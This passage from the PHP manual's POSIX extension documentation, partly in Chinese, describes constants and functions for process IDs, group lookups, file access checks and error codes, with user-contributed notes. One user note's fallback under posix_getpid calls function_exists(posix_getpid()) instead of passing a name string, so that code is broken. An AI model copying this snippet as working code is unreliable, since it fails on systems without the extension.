    • posix_setuid — Set the UID of the current process
    • posix_strerror — Retrieve the system error message associated with the given errno
    • posix_sysconf — Returns system runtime information
    • posix_times — Get process times
    • posix_ttyname — Determine terminal device name
    • posix_uname — Get system name

User Contributed Notes

docvert at holloway dot co dot nz 16-Jun-2008 05:45
I suggest changing the description of posix_times() from "Get process times" to "Get current process times" in order to follow the "current process" naming convention of the other functions.


简介

This module contains an interface to those functions defined in the IEEE 1003.1 (POSIX.1) standards document which are not accessible through other means.

Warning

Sensitive data can be retrieved with the POSIX functions, e.g. posix_getpwnam() and friends.

Note: 此扩展在 Windows 平台上不可用。

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展默认为启用，编译时可通过下列选项禁用： --disable-posix

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

Table of Contents

  • posix_access constants
  • posix_mknod constants
  • posix_setrlimit constants
  • posix_pathconf constants
  • posix_sysconf constants

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

User Contributed Notes

There are no user contributed notes for this page.


posix_access constants

  • ? 预定义常量
  • posix_mknod constants ?
  • PHP Manual
  • 预定义常量
  • posix_access constants

posix_access() constants

Note:

Please note that some of these constants may not be available on every system.

POSIX_F_OK (int)
Check whether the file exists.
POSIX_R_OK (int)
Check whether the file exists and has read permissions.
POSIX_W_OK (int)
Check whether the file exists and has write permissions.
POSIX_X_OK (int)
Check whether the file exists and has execute permissions.

User Contributed Notes

There are no user contributed notes for this page.


posix_mknod constants

  • ? posix_access constants
  • posix_setrlimit constants ?
  • PHP Manual
  • 预定义常量
  • posix_mknod constants

posix_mknod() constants

Note:

Please note that some of them may not be available on your system.

POSIX_S_IFBLK (int)
Block special file
POSIX_S_IFCHR (int)
Character special file
POSIX_S_IFIFO (int)
FIFO (named pipe) special file
POSIX_S_IFREG (int)
Normal file
POSIX_S_IFSOCK (int)
Socket

User Contributed Notes

There are no user contributed notes for this page.


posix_setrlimit constants

  • ? posix_mknod constants
  • posix_pathconf constants ?
  • PHP Manual
  • 预定义常量
  • posix_setrlimit constants

posix_setrlimit() constants

Note:

Please note that some of them may not be available on your system.

Note:

You may wish to read the below notes in conjunction with the manpage for setrlimit() on your specific operating system, as there is variance in how these limits are interpreted, even across operating systems that claim to implement POSIX in full.

POSIX_RLIMIT_AS (int)
The maximum size of the process's address space in bytes. See also PHP's memory_limit configuration directive.
POSIX_RLIMIT_CORE (int)
The maximum size of a core file. If the limit is set to 0, no core file will be generated.
POSIX_RLIMIT_CPU (int)
The maximum amount of CPU time that the process can use, in seconds. When the soft limit is hit, a SIGXCPU signal will be sent, which can be caught with pcntl_signal(). Depending on the operating system, additional SIGXCPU signals may be sent each second until the hard limit is hit, at which point an uncatchable SIGKILL signal is sent. See also set_time_limit().
POSIX_RLIMIT_DATA (int)
The maximum size of the process's data segment, in bytes. It is extremely unlikely that this will have any effect on the execution of PHP unless an extension is in use that calls brk() or sbrk().
POSIX_RLIMIT_FSIZE (int)
The maximum size of files that the process can create, in bytes.
POSIX_RLIMIT_LOCKS (int)
The maximum number of locks that the process can create. This is only supported on extremely old Linux kernels.
POSIX_RLIMIT_MEMLOCK (int)
The maximum number of bytes that can be locked into memory.
POSIX_RLIMIT_MSGQUEUE (int)
The maximum number of bytes that can be allocated for POSIX message queues. PHP does not ship with support for POSIX message queues, so this limit will not have any effect unless you are using an extension that implements that support.
POSIX_RLIMIT_NICE (int)
The maximum value to which the process can be reniced to. The value that will be used will be 20 - limit, as resource limit values cannot be negative.
POSIX_RLIMIT_NOFILE (int)
A value one greater than the maximum file descriptor number that can be opened by this process.
POSIX_RLIMIT_NPROC (int)
The maximum number of processes (and/or threads, on some operating systems) that can be created for the real user ID of the process.
POSIX_RLIMIT_RSS (int)
The maximum size of the process's resident set, in pages.
POSIX_RLIMIT_RTPRIO (int)
The maximum real time priority that can be set via the sched_setscheduler() and sched_setparam() system calls.
POSIX_RLIMIT_RTTIME (int)
The maximum amount of CPU time, in microseconds, that the process can consume without making a blocking system call if it is using real time scheduling.
POSIX_RLIMIT_SIGPENDING (int)
The maximum number of signals that can be queued for the real user ID of the process.
POSIX_RLIMIT_STACK (int)
The maximum size of the process stack, in bytes.
POSIX_RLIMIT_INFINITY (int)
Used to indicate an infinite value for a resource limit.
POSIX_RLIMIT_KQUEUES (int)
The maximum number of kqueues this user id is allowed to create (FreeBSD). Available as of PHP 8.1.0.
POSIX_RLIMIT_NPTS (int)
The maximum number of pseudo-terminals this user id is allowed to create (FreeBSD). Available as of PHP 8.1.0.

User Contributed Notes

There are no user contributed notes for this page.


posix_pathconf constants

  • ? posix_setrlimit constants
  • posix_sysconf constants ?
  • PHP Manual
  • 预定义常量
  • posix_pathconf constants

posix_pathconf() constants

POSIX_PC_LINK_MAX (int)
The maximum number of links a given file or directory can have. Available as of PHP 8.3.0.
POSIX_PC_MAX_CANON (int)
The maximum number of bytes in a terminal canonical input buffer (pathname being then a character special file). Available as of PHP 8.3.0.
POSIX_PC_MAX_INPUT (int)
The maximum number of bytes of a terminal input queue (pathname being then a character special file). Available as of PHP 8.3.0.
POSIX_PC_NAME_MAX (int)
The maximum number of characters for a file name alone, not its path. Available as of PHP 8.3.0.
POSIX_PC_PATH_MAX (int)
The maximum number of characters for a full path name. Available as of PHP 8.3.0.
POSIX_PC_PIPE_BUF (int)
The maximum number of bytes that can be written to a pipe in one operation. Available as of PHP 8.3.0.
POSIX_PC_CHOWN_RESTRICTED (int)
If privileges are required to be allow chown() to work. Available as of PHP 8.3.0.
POSIX_PC_NO_TRUNC (int)
If a file name (or files under a directory) is longer than POSIX_PC_NAME_MAX. Available as of PHP 8.3.0.
POSIX_PC_ALLOC_SIZE_MIN (int)
The minimum number of bytes of storage allocated for any portion of a file. Available as of PHP 8.3.0.
POSIX_PC_ALLOC_SYMLINK_MAX (int)
The maximum number of symbolic links a given file or directory can have. Available as of PHP 8.3.0.

User Contributed Notes

There are no user contributed notes for this page.


posix_sysconf constants

  • ? posix_pathconf constants
  • POSIX 函数 ?
  • PHP Manual
  • 预定义常量
  • posix_sysconf constants

posix_sysconf() constants

POSIX_SC_ARG_MAX (int)
The maximum number of bytes the arguments (and environment variables) can have. Available as of PHP 8.3.0.
POSIX_SC_PAGESIZE (int)
The number of bytes of the current page. Available as of PHP 8.3.0.
POSIX_SC_NPROCESSORS_CONF (int)
The number of cpus configured system wise. Available as of PHP 8.3.0.
POSIX_SC_NPROCESSORS_ONLN (int)
The number of cpus currently active system wise. Available as of PHP 8.3.0.

User Contributed Notes

There are no user contributed notes for this page.


POSIX 函数

参见

The section about Process Control Functions maybe of interest for you.

Table of Contents

  • posix_access — Determine accessibility of a file
  • posix_ctermid — Get path name of controlling terminal
  • posix_eaccess — Determine accessibility of a file
  • posix_errno — 别名 posix_get_last_error
  • posix_fpathconf — Returns the value of a configurable limit
  • posix_get_last_error — Retrieve the error number set by the last posix function that failed
  • posix_getcwd — Pathname of current directory
  • posix_getegid — Return the effective group ID of the current process
  • posix_geteuid — Return the effective user ID of the current process
  • posix_getgid — Return the real group ID of the current process
  • posix_getgrgid — Return info about a group by group id
  • posix_getgrnam — Return info about a group by name
  • posix_getgroups — Return the group set of the current process
  • posix_getlogin — Return login name
  • posix_getpgid — Get process group id for job control
  • posix_getpgrp — Return the current process group identifier
  • posix_getpid — 返回当前进程 id
  • posix_getppid — Return the parent process identifier
  • posix_getpwnam — Return info about a user by username
  • posix_getpwuid — Return info about a user by user id
  • posix_getrlimit — Return info about system resource limits
  • posix_getsid — Get the current sid of the process
  • posix_getuid — Return the real user ID of the current process
  • posix_initgroups — Calculate the group access list
  • posix_isatty — Determine if a file descriptor is an interactive terminal
  • posix_kill — Send a signal to a process
  • posix_mkfifo — Create a fifo special file (a named pipe)
  • posix_mknod — Create a special or ordinary file (POSIX.1)
  • posix_pathconf — Returns the value of a configurable limit
  • posix_setegid — Set the effective GID of the current process
  • posix_seteuid — Set the effective UID of the current process
  • posix_setgid — Set the GID of the current process
  • posix_setpgid — Set process group id for job control
  • posix_setrlimit — Set system resource limits
  • posix_setsid — Make the current process a session leader
  • posix_setuid — Set the UID of the current process
  • posix_strerror — Retrieve the system error message associated with the given errno
  • posix_sysconf — Returns system runtime information
  • posix_times — Get process times
  • posix_ttyname — Determine terminal device name
  • posix_uname — Get system name

User Contributed Notes

random832 at fastmail dot fm 13-Jun-2007 09:04
That is not part of POSIX, those are only present as you listed on linux systems - some other systems have a /proc with different things in it (sometimes stuff that's symbolic links on linux will be hardlinks, textfiles on linux will be binary, or different files with different information) or none at all
roberto at spadim dot com dot br 02-Oct-2006 09:36
don't forget that in posix systems you can use /proc/$process_id/
files:
auxv
cmdline
cwd
environ
exe
fd
maps
mem
mounts
root
stat
statm
status
task
wchan

with it you can make somethings like:

$PPID=getmypid();
$pid=pcntl_fork();
if ($pid==0){
while(1){
if (strpos(file_get_contents("/proc/$PPID/cmdline"),'php')===false) echo "parent pid die";
}

}else{
// forked
}

with this you can use some libs that block signal or some bad signal handling or zombies process or anything you can think :)


Determine accessibility of a file

  • ? POSIX 函数
  • posix_ctermid ?
  • PHP Manual
  • POSIX 函数
  • Determine accessibility of a file

posix_access

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

posix_access — Determine accessibility of a file

说明

posix_access(string $filename, int $flags = 0): bool

posix_access() checks the user's permission of a file.

参数

filename

The name of the file to be tested.

flags

A mask consisting of one or more of POSIX_F_OK, POSIX_R_OK, POSIX_W_OK and POSIX_X_OK.

POSIX_R_OK, POSIX_W_OK and POSIX_X_OK request checking whether the file exists and has read, write and execute permissions, respectively. POSIX_F_OK just requests checking for the existence of the file.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 posix_access() example

This example will check if the $file is readable and writable, otherwise will print an error message.

<?php

$file = 'some_file';

if (posix_access($file, POSIX_R_OK | POSIX_W_OK)) {
echo 'The file is readable and writable!';

} else {
$error = posix_get_last_error();

echo "Error $error: " . posix_strerror($error);
}

?>

注释

参见

  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed
  • posix_strerror() - Retrieve the system error message associated with the given errno

User Contributed Notes

unixguy at earth dot com 12-Jun-2014 08:00
It should be noted that this function performs access checks based on the real UID and real GID of the process running PHP.  These aren't necessarily the same as the effective UID and GID.

In other words, it may well be that access() returns "true" for a particular permission, but an fopen() operation which requires the same permission will fail, and vice versa.

Keep that in mind if you use access() for such checks.


Get path name of controlling terminal

  • ? posix_access
  • posix_eaccess ?
  • PHP Manual
  • POSIX 函数
  • Get path name of controlling terminal

posix_ctermid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_ctermid — Get path name of controlling terminal

说明

posix_ctermid(): string|false

Generates a string which is the pathname for the current controlling terminal for the process. On error this will set errno, which can be checked using posix_get_last_error()

参数

此函数没有参数。

返回值

Upon successful completion, returns string of the pathname to the current controlling terminal. Otherwise false is returned and errno is set, which can be checked with posix_get_last_error().

示例

Example #1 posix_ctermid() example

This example will display the path to the current TTY.

<?php
echo "I am running from ".posix_ctermid();
?>

参见

  • posix_ttyname() - Determine terminal device name
  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed

User Contributed Notes

phpmanual at remove dot mark dot griffin dot email 19-Apr-2016 09:18
You can write directly to the tty (screen) even when the shell has redirected output, with:

<?php
$h = fopen(posix_ctermid(), "rb+");
fwrite($h, "Testing direct output\n");
fclose($h);
?>


Determine accessibility of a file

  • ? posix_ctermid
  • posix_errno ?
  • PHP Manual
  • POSIX 函数
  • Determine accessibility of a file

posix_eaccess

(PHP 8 >= 8.3.0)

posix_eaccess — Determine accessibility of a file

说明

posix_eaccess(string $filename, int $flags = 0): bool

posix_eaccess() checks the effective user's permission of a file

参数

filename

The name of a file to be tested.

flags

A mask consisting of one or more of POSIX_F_OK, POSIX_R_OK, POSIX_W_OK and POSIX_X_OK.

POSIX_R_OK, POSIX_W_OK and POSIX_X_OK request checking whether the file exists and has read, write and execute permissions, respectively. POSIX_F_OK just requests checking for the existence of the file.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.3.0 | Checks the effective user/group for a file, differing from posix_access() which checks from the real user/group.

示例

Example #1 posix_eaccess() example

This example will check if the $file is readable and writable, otherwise will print an error message.

<?php

$file = 'some_file';

if (posix_eaccess($file, POSIX_R_OK | POSIX_W_OK)) {
echo 'The file is readable and writable!';

} else {
$error = posix_get_last_error();

echo "Error $error: " . posix_strerror($error);
}

?>

注释

参见

  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed
  • posix_strerror() - Retrieve the system error message associated with the given errno
  • posix_access() - Determine accessibility of a file

User Contributed Notes

There are no user contributed notes for this page.


别名 posix_get_last_error

  • ? posix_eaccess
  • posix_fpathconf ?
  • PHP Manual
  • POSIX 函数
  • 别名 posix_get_last_error

posix_errno

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

posix_errno — 别名 posix_get_last_error()

说明

此函数是该函数的别名： posix_get_last_error().

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of a configurable limit

  • ? posix_errno
  • posix_get_last_error ?
  • PHP Manual
  • POSIX 函数
  • Returns the value of a configurable limit

posix_fpathconf

(PHP 8 >= 8.3.0)

posix_fpathconf — Returns the value of a configurable limit

说明

posix_fpathconf(resource|int $file_descriptor, int $name): int|false

Returns the value of a configurable limit from name for a file descriptor resource

参数

file_descriptor

The file descriptor, which is expected to be either a file resource or an int. An int will be assumed to be a file descriptor that can be passed directly to the underlying system call.

name

The name of the configurable limit, one of the following. POSIX_PC_LINK_MAX, POSIX_PC_MAX_CANON POSIX_PC_MAX_INPUT, POSIX_PC_NAME_MAX POSIX_PC_PATH_MAX, POSIX_PC_PIPE_BUF POSIX_PC_CHOWN_RESTRICTED, POSIX_PC_NO_TRUNC POSIX_PC_ALLOC_SIZE_MIN, POSIX_PC_SYMLINK_MAX

返回值

Returns the configurable limit or false.

错误／异常

Throws a ValueError when resource is invalid.

示例

Example #1 posix_fpathconf() example

This example will get the max path name's length in bytes for the current dir.

<?php
$fd = fopen(__DIR__, "r");
echo posix_fpathconf($fd, POSIX_PC_PATH_MAX);
?>

以上示例会输出：

4096

注释

参见

  • posix_pathconf() - Returns the value of a configurable limit

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the error number set by the last posix function that failed

  • ? posix_fpathconf
  • posix_getcwd ?
  • PHP Manual
  • POSIX 函数
  • Retrieve the error number set by the last posix function that failed

posix_get_last_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

posix_get_last_error — Retrieve the error number set by the last posix function that failed

说明

posix_get_last_error(): int

Retrieve the error number set by the last posix function that failed. The system error message associated with the errno may be checked with posix_strerror().

参数

此函数没有参数。

返回值

Returns the errno (error number) set by the last posix function that failed. If no errors exist, 0 is returned.

示例

Example #1 posix_get_last_error() example

This example attempt to kill a bogus process id, which will set the last error. We will then print out the last errno.

<?php
posix_kill(999459,SIGKILL);
echo 'Your error returned was '.posix_get_last_error(); //Your error was ___
?>

参见

  • posix_strerror() - Retrieve the system error message associated with the given errno

User Contributed Notes

anajilly at gmail dot com 19-Jan-2014 10:20
Many posix functions give very useful information in the errno code when an error occurs.  For instance, stream_select(), when it generates an error, according to the man page (man 2 select) may return one of four different errors which are listed as:  EBADF, EINTR, EINVAL, ENOMEM.  See the man page for more specific information about these.  In this example, when the stream_select() function returns false, posix_get_last_error() will return a non-zero value that will be set to one of these constants.  For instance, if stream_select() == false, and posix_get_last_error() == EBADF,  then one of the file descriptors given to the select() function has probably closed somehow. If, on the other hand, posix_get_last_error() returns EINTR then stream_select() returned FALSE not because of any true error condition, but only because the process handled a signal. When the signal arrives while stream_select() is blocking it will always stop blocking and return false immediately. This behavior makes sense, though it can seem inconvenient.  You just have to handle it correctly. (not many do, in php.)

From this example it should probably be clear that one should at least consider handling different error types in different ways.  EINTER should probably be ignored for instance, unless your program uses signalling to open or close file handles or sockets.

These error constants listed in the related POSIX man pages are not part of the PHP interface. When you call posix_get_last_error() it will return an integer. The problem  with getting an unnamed integer return code is that these integers may mean different things on different systems.  You can (and probably should) pass the resulting integer to the posix_strerror() function, which will return an accurate human-readable description of what the error is. This is useful of course, but mainly for logging. (String descriptions of errors are far more prone to change than are the actual integer value codes.)  Truly, when using the result of posix_errno() it is best to check the value against a set of possible constants.  The constants you compare them to are system specific, as stated earlier, so you need to look them up on that system.  Here is an easy and reliable way to do that.

Look at the errno man page ($ man errno) and copy all of the constant names into a very basic C file.  like this.

===================================
#include <errno.h>
#include <stdio.h>
int main(){
  printf("define('E2BIG', %d);\n", E2BIG);
  printf("define('EACCES', %d);\n", EACCES);
  printf("define('EADDRINUSE', %d);\n", EADDRINUSE);
  printf("define('EADDRNOTAVAIL', %d);\n", EADDRNOTAVAIL);
//  ...  etc. etc.
}
===================================

Now, if you just run this code through the C pre-processor (i.e. 'gcc -E cfile.c'), then those constant names will be replaced by the numbers which are used on your system.  (warning:  running the C compiler/pre-processor needs to take place on the system where the PHP code will be running. keep track of whether nfs is in use or something else along those lines which may separate your coding environment from the runtime environment.)  In addition to running the C pre-processor you also simply compile and run the above program (i.e. 'gcc cfile.c && ./a.out'). Running it will generate a PHP compatible list of define() calls that will correctly define these constants in your PHP program on the target system, so will be usable. Simply copy the definitions into a php file.

To finish the example, you might use these constants like this:

$selret = stream_select( $r, $w, $e, $to );
if( $selret === false )
{
    switch( posix_get_last_error() )
    {
        case EBADF:    /* one of the handles is bad. fix it. */ break;
        case EINVAL:    /* $to is negative? woops. */ break;
        case ENOMEM:
            throw new exception("probable memory leak. restart.");
            break;
       case EINTR:
           break; // usually ignore EINTR after select() is fine.
    }
}


Pathname of current directory

  • ? posix_get_last_error
  • posix_getegid ?
  • PHP Manual
  • POSIX 函数
  • Pathname of current directory

posix_getcwd

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getcwd — Pathname of current directory

说明

posix_getcwd(): string|false

Gets the absolute pathname of the script's current working directory. On error, it sets errno which can be checked using posix_get_last_error()

参数

此函数没有参数。

返回值

Returns a string of the absolute pathname on success. On error, returns false and sets errno which can be checked with posix_get_last_error().

示例

Example #1 posix_getcwd() example

This example will return the absolute path of the current working directory of the script.

<?php
echo 'My current working directory is '.posix_getcwd();
?>

注释

Note:

This function can fail on

  • Read or Search permission was denied
  • Pathname no longer exists

User Contributed Notes

phpmanual-getcwd at devin dot com 26-Jul-2000 06:39
From the GNU getcwd(3) manpage, paraphrased: returns the absolute pathname of the current working directory.  Fails when the current directory is not eradable.  Complies with POSIX.1 spec.


Return the effective group ID of the current process

  • ? posix_getcwd
  • posix_geteuid ?
  • PHP Manual
  • POSIX 函数
  • Return the effective group ID of the current process

posix_getegid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getegid — Return the effective group ID of the current process

说明

posix_getegid(): int

Return the numeric effective group ID of the current process.

参数

此函数没有参数。

返回值

Returns an int of the effective group ID.

示例

Example #1 posix_getegid() example

This example will print out the effective group id, once it is changed with posix_setegid().

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

注释

posix_getegid() is different than posix_getgid() because effective group ID can be changed by a calling process using posix_setegid().

参见

  • posix_getgrgid() - Return info about a group by group id
  • posix_getgid() - Return the real group ID of the current process
  • posix_setgid() - Set the GID of the current process

User Contributed Notes

There are no user contributed notes for this page.


Return the effective user ID of the current process

  • ? posix_getegid
  • posix_getgid ?
  • PHP Manual
  • POSIX 函数
  • Return the effective user ID of the current process

posix_geteuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_geteuid — Return the effective user ID of the current process

说明

posix_geteuid(): int

Return the numeric effective user ID of the current process. See also posix_getpwuid() for information on how to convert this into a useable username.

参数

此函数没有参数。

返回值

Returns the user id, as an int

示例

Example #1 posix_geteuid() example

This example will show the current user id then set the effective user id to a separate id using posix_seteuid(), then show the difference between the real id and the effective id.

<?php
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10001
posix_seteuid(10000);
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10000
?>

参见

  • posix_getpwuid() - Return info about a user by user id
  • posix_getuid() - Return the real user ID of the current process
  • posix_setuid() - Set the UID of the current process
  • POSIX man page GETEUID(2)

User Contributed Notes

divinity76+spam at gmail dot com 14-Jan-2022 10:48
if you for some reason need the euid without depending on php-posix being available, try

<?php
function geteuid_without_posix_dependency(): int
{
    try {
        // this is faster if available
        return \posix_geteuid();
    } catch (\Throwable $ex) {
        // php-posix not available.. fallback to hack
        $t = tmpfile();
        $ret = fstat($t)["uid"];
        fclose($t);
        return $ret;
    }
}


Return the real group ID of the current process

  • ? posix_geteuid
  • posix_getgrgid ?
  • PHP Manual
  • POSIX 函数
  • Return the real group ID of the current process

posix_getgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgid — Return the real group ID of the current process

说明

posix_getgid(): int

Return the numeric real group ID of the current process.

参数

此函数没有参数。

返回值

Returns the real group id, as an int.

示例

Example #1 posix_getgid() example

This example will print out the real group id, even once the effective group id has been changed.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

参见

  • posix_getgrgid() - Return info about a group by group id
  • posix_getegid() - Return the effective group ID of the current process
  • posix_setgid() - Set the GID of the current process
  • POSIX man page GETGID(2)

User Contributed Notes

vector from ionisis.com 14-Oct-2011 05:07
i came across this error:
Call to undefined function posix_getuid()

which was solved by these commands:
yum -y install php-process
service httpd restart


Return info about a group by group id

  • ? posix_getgid
  • posix_getgrnam ?
  • PHP Manual
  • POSIX 函数
  • Return info about a group by group id

posix_getgrgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgrgid — Return info about a group by group id

说明

posix_getgrgid(int $group_id): array|false

Gets information about a group provided its id.

参数

group_id

The group id.

返回值

The array elements returned are:

The group information array
Element | Description
name | The name element contains the name of the group. This is a short, usually less than 16 character "handle" of the group, not the real, full name.
passwd | The passwd element contains the group's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
gid | Group ID, should be the same as the group_id parameter used when calling the function, and hence redundant.
members | This consists of an array of string's for all the members in the group.
The function returns false on failure.

示例

Example #1 Example use of posix_getgrgid()

<?php

$groupid = posix_getegid();
$groupinfo = posix_getgrgid($groupid);

print_r($groupinfo);
?>

以上示例的输出类似于：

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

参见

  • posix_getegid() - Return the effective group ID of the current process
  • posix_getgrnam() - Return info about a group by name
  • filegroup() - 取得文件的组
  • stat() - 给出文件的信息
  • POSIX man page GETGRNAM(3)

User Contributed Notes

cweiske at php dot net 10-May-2009 07:50
When posix_getgrgid() fails (e.g. an invalid/unknown group id), it returns false.
This is except for Mac OSX on which you get an array with name "nogroup" and gid of "-1".
james at jfc dot org dot uk 16-Apr-2003 11:21
in php-4.3 the array returned seems to have changed.

it now returns:

["name"] group name
["passwd"] group password
["members"] group members (array of usernames)
["gid"] numeric group id
tech at dslip dot com dot au 13-May-2002 06:27
okies...

This code should be considered as an OPTION only, it works under MY set of circumstances, and that is all I intended. The below funtion will return the NAME of the GROUP if provided with the Group ID#

  function RC_posix_getgrgid($gid)
    {
    $LocationGroup = "/etc/group"; //EDIT THIS IF YOU HAVE A DIFFERENT OS. mine = debian
    $fp = fopen ("/etc/group","r");
    while ($groupinfo = fscanf ($fp, "%[a-zA-Z0-9]:x:%[0-9]:%[a-zA-Z0-9]\n"))
        {
        list ($name, $groupID, $nfi) = $groupinfo;
        if ($groupID == $gid)
            {
            $returnval = $name;
            }
        }
    fclose($fp);
    if($returnval) { return $returnval; } else { return 0; }
    }
rcgraves+php at brandeis dot edu 21-Feb-2000 06:10
Returns an array containing the elements of the group structure. The array has both numeric indices, each of which is a string naming one member of the group, and named string indices. The array elements are:

$_["name"]  string groupname (users)
$_["gid"] integer gidnumber (e.g. 0 for wheel/root)
$_["members"] int number of users in group
$_[0]..$_[n] string usernames in the group


Return info about a group by name

  • ? posix_getgrgid
  • posix_getgroups ?
  • PHP Manual
  • POSIX 函数
  • Return info about a group by name

posix_getgrnam

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgrnam — Return info about a group by name

说明

posix_getgrnam(string $name): array|false

Gets information about a group provided its name.

参数

name

The name of the group

返回值

Returns an array on success, 或者在失败时返回 false. The array elements returned are:

The group information array
Element | Description
name | The name element contains the name of the group. This is a short, usually less than 16 character "handle" of the group, not the real, full name. This should be the same as the name parameter used when calling the function, and hence redundant.
passwd | The passwd element contains the group's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
gid | Group ID of the group in numeric form.
members | This consists of an array of string's for all the members in the group.

示例

Example #1 Example use of posix_getgrnam()

<?php

$groupinfo = posix_getgrnam("toons");

print_r($groupinfo);
?>

以上示例的输出类似于：

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

参见

  • posix_getegid() - Return the effective group ID of the current process
  • posix_getgrgid() - Return info about a group by group id
  • filegroup() - 取得文件的组
  • stat() - 给出文件的信息
  • POSIX man page GETGRNAM(3)

User Contributed Notes

marques at displague dot com 02-Apr-2009 06:12
This function returns 'false' if the group is not found.


Return the group set of the current process

  • ? posix_getgrnam
  • posix_getlogin ?
  • PHP Manual
  • POSIX 函数
  • Return the group set of the current process

posix_getgroups

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgroups — Return the group set of the current process

说明

posix_getgroups(): array|false

Gets the group set of the current process.

参数

此函数没有参数。

返回值

Returns an array of integers containing the numeric group ids of the group set of the current process, 或者在失败时返回 false.

示例

Example #1 Example use of posix_getgroups()

<?php

$groups = posix_getgroups();

print_r($groups);
?>

以上示例的输出类似于：

Array
(
    [0] => 4
    [1] => 20
    [2] => 24
    [3] => 25
    [4] => 29
    [5] => 30
    [6] => 33
    [7] => 44
    [8] => 46
    [9] => 104
    [10] => 109
    [11] => 110
    [12] => 1000
)

参见

  • posix_getgrgid() - Return info about a group by group id

User Contributed Notes

There are no user contributed notes for this page.


Return login name

  • ? posix_getgroups
  • posix_getpgid ?
  • PHP Manual
  • POSIX 函数
  • Return login name

posix_getlogin

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getlogin — Return login name

说明

posix_getlogin(): string|false

Returns the login name of the user owning the current process.

参数

此函数没有参数。

返回值

Returns the login name of the user, as a string, 或者在失败时返回 false.

示例

Example #1 Example use of posix_getlogin()

<?php
echo posix_getlogin(); //apache
?>

参见

  • posix_getpwnam() - Return info about a user by username
  • POSIX man page GETLOGIN(3)

User Contributed Notes

Alex P 16-Jul-2014 11:07
posix_getlogin() will return boolean false when there is no shell, e.g. when running under an apache process
philip 09-Feb-2004 06:31
Note that this function returns the owner that the process *started* as.  Even if you call posix_setuid (or posix_seteuid) it will still report the username the process started as.

use get_current_user() to get the effective real user.


Get process group id for job control

  • ? posix_getlogin
  • posix_getpgrp ?
  • PHP Manual
  • POSIX 函数
  • Get process group id for job control

posix_getpgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpgid — Get process group id for job control

说明

posix_getpgid(int $process_id): int|false

Returns the process group identifier of the process process_id 或者在失败时返回 false.

参数

process_id

The process id.

返回值

Returns the identifier, as an int.

示例

Example #1 Example use of posix_getpgid()

<?php
$pid = posix_getppid();
echo posix_getpgid($pid); //35
?>

注释

Note:

This is a not POSIX function, but is common on BSD and System V systems. If the system does not support this function, then it will not be included at compile time. This may be checked with function_exists().

参见

  • posix_getppid() - Return the parent process identifier
  • man page SETPGID(2)

User Contributed Notes

There are no user contributed notes for this page.


Return the current process group identifier

  • ? posix_getpgid
  • posix_getpid ?
  • PHP Manual
  • POSIX 函数
  • Return the current process group identifier

posix_getpgrp

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpgrp — Return the current process group identifier

说明

posix_getpgrp(): int

Return the process group identifier of the current process.

参数

此函数没有参数。

返回值

Returns the identifier, as an int.

参见

  • POSIX.1 and the getpgrp(2) manual page on the POSIX system for more information on process groups.

User Contributed Notes

There are no user contributed notes for this page.


返回当前进程 id

  • ? posix_getpgrp
  • posix_getppid ?
  • PHP Manual
  • POSIX 函数
  • 返回当前进程 id

posix_getpid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getpid — 返回当前进程 id

说明

posix_getpid(): int

Return the process identifier of the current process. 返回当前进程的 id

参数

此函数没有参数。

返回值

返回进程 id 号，是整型（int）。

示例

Example #1 posix_getpid() 的使用例子

<?php
echo posix_getpid(); //8805
?>

参见

  • posix_kill() - Send a signal to a process
  • POSIX man page GETPID(2)

User Contributed Notes

ia dot beladel at protonmail dot com 06-May-2022 05:58
A fall back function:
<?php
    function get_current_id() {
        if(!function_exists(posix_getpid()))
            return getmypid();

        return posix_getpid();
    }
?>
victor at gmail dot com 06-Aug-2019 10:22
You can use this code in windows or if you system has no posix support:

<?php
if (!function_exists('posix_getpid')) {
    function posix_getpid() {
        return getmypid();
    }
}
Yzmir Ramirez 14-Jul-2011 03:42
You can also try using getmypid() instead.
zapolski at gmail dot com 14-Sep-2010 07:13
In order to use posix_getpid on Fedeora 11 and up you have to install php-process

# yum install php-process
andy at haveland dot com 28-Feb-2010 12:09
Since upgrading fedora 10 to 12, I discovered that posix_getpid() disappeared and not compiled in by default, as it specifies here.

It turns out that it had been moved into package php-process.

Just do "yum install php-process", and all should be sweet again.

Hope this saves someone half an hour of research.


Return the parent process identifier

  • ? posix_getpid
  • posix_getpwnam ?
  • PHP Manual
  • POSIX 函数
